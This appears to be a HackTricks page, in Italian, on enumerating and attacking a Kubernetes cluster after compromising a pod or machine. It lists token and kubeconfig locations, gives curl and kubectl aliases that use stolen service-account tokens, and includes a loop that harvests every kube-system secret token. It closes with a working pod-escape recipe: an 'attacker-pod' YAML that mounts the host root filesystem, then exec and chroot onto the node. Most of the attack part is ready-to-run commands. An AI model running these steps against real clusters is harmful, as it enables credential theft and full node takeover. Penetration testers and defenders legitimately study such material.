Kubernetes Enumeration

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Token di Kubernetes

Se hai accesso compromesso a una macchina, l'utente potrebbe avere accesso a una piattaforma Kubernetes. Il token di solito si trova in un file indicato dalla variabile d'ambiente KUBECONFIG o all'interno di ~/.kube.

In questa cartella potresti trovare file di configurazione con token e configurazioni per connettersi al server API. In questa cartella puoi anche trovare una cartella di cache con informazioni precedentemente recuperate.

Se hai compromesso un pod all'interno di un ambiente Kubernetes, ci sono altri posti in cui puoi trovare token e informazioni sull'attuale ambiente K8:

Token dell'account di servizio

Prima di continuare, se non sai cos'è un servizio in Kubernetes ti consiglio di seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.

Preso dalla documentazione di Kubernetes:

"Quando crei un pod, se non specifici un account di servizio, viene assegnato automaticamente l'account di servizio predefinito nello stesso namespace."

ServiceAccount è un oggetto gestito da Kubernetes e utilizzato per fornire un'identità ai processi che vengono eseguiti in un pod. Ogni account di servizio ha un segreto ad esso correlato e questo segreto contiene un token di autenticazione. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le richieste tra due parti.

Di solito una delle seguenti directory:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

contengono i file:

  • ca.crt: È il certificato ca per verificare le comunicazioni di Kubernetes

  • namespace: Indica il namespace corrente

  • token: Contiene il token di servizio del pod corrente.

Ora che hai il token, puoi trovare il server API all'interno della variabile d'ambiente KUBECONFIG. Per ulteriori informazioni esegui (env | set) | grep -i "kuber|kube"

Il token dell'account di servizio viene firmato dalla chiave presente nel file sa.key e convalidato da sa.pub.

Posizione predefinita su Kubernetes:

  • /etc/kubernetes/pki

Posizione predefinita su Minikube:

  • /var/lib/localkube/certs

Pod attivi

I pod attivi sono pod che contengono un token di account di servizio privilegiato. Un token di account di servizio privilegiato è un token che ha il permesso di eseguire attività privilegiate come elencare segreti, creare pod, ecc.

RBAC

Se non sai cos'è RBAC, leggi questa sezione.

CheatSheet di enumerazione

Per enumerare un ambiente K8s hai bisogno di un paio di cose:

  • Un token di autenticazione valido. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di account di servizio.

  • L'indirizzo (https://host:port) dell'API di Kubernetes. Questo può essere trovato di solito nelle variabili d'ambiente e/o nel file di configurazione kube.

  • Opzionale: Il ca.crt per verificare il server API. Questo può essere trovato negli stessi posti in cui può essere trovato il token. Questo è utile per verificare il certificato del server API, ma utilizzando --insecure-skip-tls-verify con kubectl o -k con curl non avrai bisogno di questo.

Con questi dettagli puoi enumerare Kubernetes. Se l'API per qualche motivo è accessibile tramite Internet, puoi semplicemente scaricare quelle informazioni ed enumerare la piattaforma dal tuo host.

Tuttavia, di solito il server API è all'interno di una rete interna, quindi dovrai creare un tunnel attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi caricare il binario kubectl, o utilizzare curl/wget/qualsiasi cosa per eseguire richieste HTTP grezze al server API.

Differenze tra i verbi list e get

Con i permessi di get puoi accedere alle informazioni di risorse specifiche (opzione describe in kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Se hai il permesso list, sei autorizzato a eseguire richieste API per elencare un tipo di risorsa (opzione get in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Se hai il permesso watch, sei autorizzato a eseguire richieste API per monitorare le risorse:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Apri una connessione di streaming che restituisce l'intero manifesto di un Deployment ogni volta che viene modificato (o quando ne viene creato uno nuovo).

I seguenti comandi kubectl indicano solo come elencare gli oggetti. Se desideri accedere ai dati, devi utilizzare describe invece di get.

Utilizzando curl

Da all'interno di un pod puoi utilizzare diverse variabili di ambiente:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Per impostazione predefinita, il pod può accedere al server kube-api nel nome di dominio kubernetes.default.svc e puoi vedere la rete kube in /etc/resolv.config poiché qui troverai l'indirizzo del server DNS di Kubernetes (il ".1" dello stesso intervallo è il punto finale kube-api).

Utilizzando kubectl

Avendo il token e l'indirizzo del server API, è possibile utilizzare kubectl o curl per accedervi come indicato qui:

Per impostazione predefinita, il SERVERAPI comunica con lo schema https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

se non c'è https:// nell'URL, potresti ottenere un errore come Bad Request.

Puoi trovare una cheatsheet ufficiale di kubectl qui. Lo scopo delle seguenti sezioni è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso.

Per trovare la richiesta HTTP che kubectl invia, puoi utilizzare il parametro -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configurazione attuale

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Se sei riuscito a rubare le credenziali di alcuni utenti, puoi configurarle localmente utilizzando qualcosa del genere:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Ottenere le risorse supportate

Con queste informazioni saprai tutti i servizi che puoi elencare

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Ottenere i privilegi correnti

Per ottenere i privilegi correnti, esegui il comando:

kubectl auth can-i <verb> <resource>

Sostituisci <verb> con il verbo che desideri controllare (ad esempio get, create, delete, ecc.) e <resource> con la risorsa che desideri controllare (ad esempio pods, deployments, services, ecc.).

Ad esempio, per verificare se hai il permesso di ottenere i pod, esegui:

kubectl auth can-i get pods

Se hai i privilegi, riceverai un messaggio di conferma. Altrimenti, riceverai un messaggio di errore che indica che non hai i privilegi necessari.

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Un altro modo per verificare i tuoi privilegi è utilizzare lo strumento: https://github.com/corneliusweig/rakkess****

Puoi saperne di più su Kubernetes RBAC in:

pageKubernetes Role-Based Access Control(RBAC)

Una volta che sai quali privilegi hai, controlla la seguente pagina per capire se puoi abusarne per ottenere privilegi elevati:

pageAbusing Roles/ClusterRoles in Kubernetes

Ottenere altri ruoli

k get roles
k get clusterroles

Ottieni i namespace

Kubernetes supporta cluster virtuali multipli supportati dallo stesso cluster fisico. Questi cluster virtuali sono chiamati namespace.

k get namespaces

Ottenere segreti

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Se puoi leggere i segreti, puoi utilizzare le seguenti linee per ottenere i privilegi correlati a ciascun token:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Ottenere gli account di servizio

Come discusso all'inizio di questa pagina, quando viene eseguito un pod, di solito viene assegnato un account di servizio. Pertanto, elencare gli account di servizio, i loro permessi e dove vengono eseguiti potrebbe consentire a un utente di ottenere privilegi elevati.

k get serviceaccounts

Ottieni Deployments

I deployments specificano i componenti che devono essere eseguiti.

.k get deployments
k get deployments -n custnamespace

Ottenere i Pods

I Pods sono i contenitori effettivi che verranno eseguiti.

k get pods
k get pods -n custnamespace

Ottenere i servizi

I servizi di Kubernetes vengono utilizzati per esporre un servizio su una porta e un indirizzo IP specifici (che fungeranno da bilanciatore di carico per i pod che offrono effettivamente il servizio). Questo è interessante da sapere per individuare altri servizi su cui tentare un attacco.

k get services
k get services -n custnamespace

Ottenere i nodi

Ottieni tutti i nodi configurati all'interno del cluster.

k get nodes

Ottenere i DaemonSets

DaeamonSets permette di garantire che un pod specifico sia in esecuzione in tutti i nodi del cluster (o in quelli selezionati). Se si elimina il DaemonSet, i pod gestiti da esso verranno anche rimossi.

k get daemonsets

Ottieni cronjob

I cron job consentono di pianificare l'avvio di un pod che eseguirà un'azione utilizzando una sintassi simile a crontab.

k get cronjobs

Ottieni configMap

configMap contiene sempre molte informazioni e file di configurazione che vengono forniti alle applicazioni che vengono eseguite in Kubernetes. Di solito è possibile trovare molte password, segreti e token che vengono utilizzati per connettersi e convalidare altri servizi interni/esterni.

k get configmaps # -n namespace
k get all

Ottieni il consumo dei Pods

k top pod --all-namespaces

Fuga dal pod

Se sei in grado di creare nuovi pod, potresti essere in grado di fuggire da essi verso il nodo. Per farlo, devi creare un nuovo pod utilizzando un file yaml, passare al pod creato e quindi chroot nel sistema del nodo. Puoi utilizzare i pod già esistenti come riferimento per il file yaml poiché mostrano immagini e percorsi esistenti.

kubectl get pod <name> [-n <namespace>] -o yaml

se hai bisogno di creare un pod su un nodo specifico, puoi utilizzare il seguente comando per ottenere le etichette del nodo

k get nodes --show-labels

Comunemente, kubernetes.io/hostname e node-role.kubernetes.io/master sono entrambe buone etichette per la selezione.

Poi crea il tuo file attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

sorgente yaml originale

Dopo di ciò, crei il pod

kubectl apply -f attacker.yaml [-n <namespace>]

Ora puoi passare al pod creato come segue

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

E infine, esegui il chroot nel sistema del nodo

chroot /root /bin/bash

Informazioni ottenute da: Kubernetes Namespace Breakout usando Insecure Host Path Volume - Parte 1 Attaccare e difendere Kubernetes: Bust-A-Kube - Episodio 1

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated